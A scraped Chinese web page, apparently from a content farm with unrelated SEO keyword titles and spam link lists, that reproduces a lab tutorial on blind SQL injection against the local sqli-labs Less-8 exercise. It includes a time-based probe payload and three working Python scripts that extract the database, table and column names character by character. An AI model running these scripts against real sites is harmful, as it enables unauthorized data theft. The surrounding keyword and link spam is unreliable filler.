当前位置: 首页 > news >正文

喀什网站建设搜外网友情链接

喀什网站建设,搜外网友情链接,政府网站建设管理自查报告,新能源汽车价格趋势?id1 and sleep(2)-- 发现页面存在注点,使用时间盲注脚本进行注入--- import requestsdef inject_database(url):name #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high…

?id=1' and sleep(2)--+

发现页面存在注点,使用时间盲注脚本进行注入---

import requestsdef inject_database(url):name = ''   #name用于存储猜测出的数据库名称 for i in range(1, 20):  # 假设数据库名称长度不超过20low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2   /*low, high, middle 用于二分查找(内层循环使用二分查找法猜测每个字符的ASCII值)*/while low < high:#构造Payload: payload是SQL注入的有效载荷,尝试猜测当前字符的ASCII值payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)params = {"id": payload}r = requests.get(url, params=params) # 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功low = middle + 1else:high = middlemiddle = (low + high) // 2 # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle > 32:  # 跳过空格和不可打印字符name += chr(middle)print(f"Current database name: {name}")low = 48high = 122middle = (low + high) // 2print(f"Final database name: {name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"inject_database(url)

用一个布尔盲注攻击,从数据库中提取表名

-循环遍历表名的每个字符

-二分查找法:通过ASCII码范围(48到122)进行二分查找,确定每个字符的值

-构造SQL注入Payload:利用substr函数和ascii函数逐字符比较表名的ASCII值

-发送请求并判断结果

-跳过空格和非打印字符:只拼接有效的字符

import requestsdef inject_table_name(url, database_name):table_name = ''for i in range(1, 20):  low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:# payloadpayload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32:  # 跳过空格和不可打印字符table_name += chr(middle)print(table_name)low = 48high = 122middle = (low + high) // 2print(f"Final table name: {table_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  # 目标数据库名称inject_table_name(url, database_name)

通过payload猜测数据库表的列名

import requestsdef inject_column_name(url, database_name, table_name):column_name = ''for i in range(1, 20): low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32: column_name += chr(middle)print(column_name)low = 48high = 122middle = (low + high) // 2print(f"Final column name: {column_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  table_name = "users"  # 目标表名inject_column_name(url, database_name, table_name)

http://www.shuangfujiaoyu.com/news/38759.html

相关文章:

  • 如何加入小说网站做打字员个人网站首页设计
  • 网站建设黄页软件江阴网站优化公司
  • 公司建网站要多少钱网络关键词排名软件
  • 海兴网站建设口碑营销理论
  • 嘉祥网站建设淘宝客推广一天80单
  • 网站推广站常州百度搜索优化
  • 南京网站建设cnee石家庄seo关键词排名
  • 深圳市住房和建设局网站菏泽资深seo报价
  • 建设银行网站上改手机百度搜索广告怎么投放
  • 国外网站打不开怎么解决网站服务器软件
  • 内蒙古网络自学网站建设谷歌广告投放
  • 南宁网站建设服务网上学电脑培训中心
  • 人力资源和社会保障部职业能力建设司百度seo算法
  • wordpress怎么修改首页网址导航淘宝seo排名优化软件
  • 顺的品牌网站设计价位seo代码优化
  • 传媒网站模板武汉大学人民医院地址
  • 公司企业网站制作教程南京网站设计公司
  • 建设公司网站应有哪些功能成品网站1688入口网页版怎样
  • 专业网站设计方案公司如何创建公司网站
  • 做网站赌钱犯法吗百度官方网页版
  • 如何用asp做网站中国seo排行榜
  • 品牌建设典型案例和品牌故事西安排名seo公司
  • 我是seo关键词seo工资待遇怎么样
  • wordpress编辑器 代码成都高薪seo
  • PHP开源网站开发系统湖南seo网站策划
  • 北京校园网站建设站长统计app下载免费
  • 工商局网站年检怎么做百度推广后台登陆入口
  • 公关做的好的网站中国最新领导班子
  • 健身房网站建设案例手游推广代理平台有哪些
  • 广州网站建设公司招聘数据指数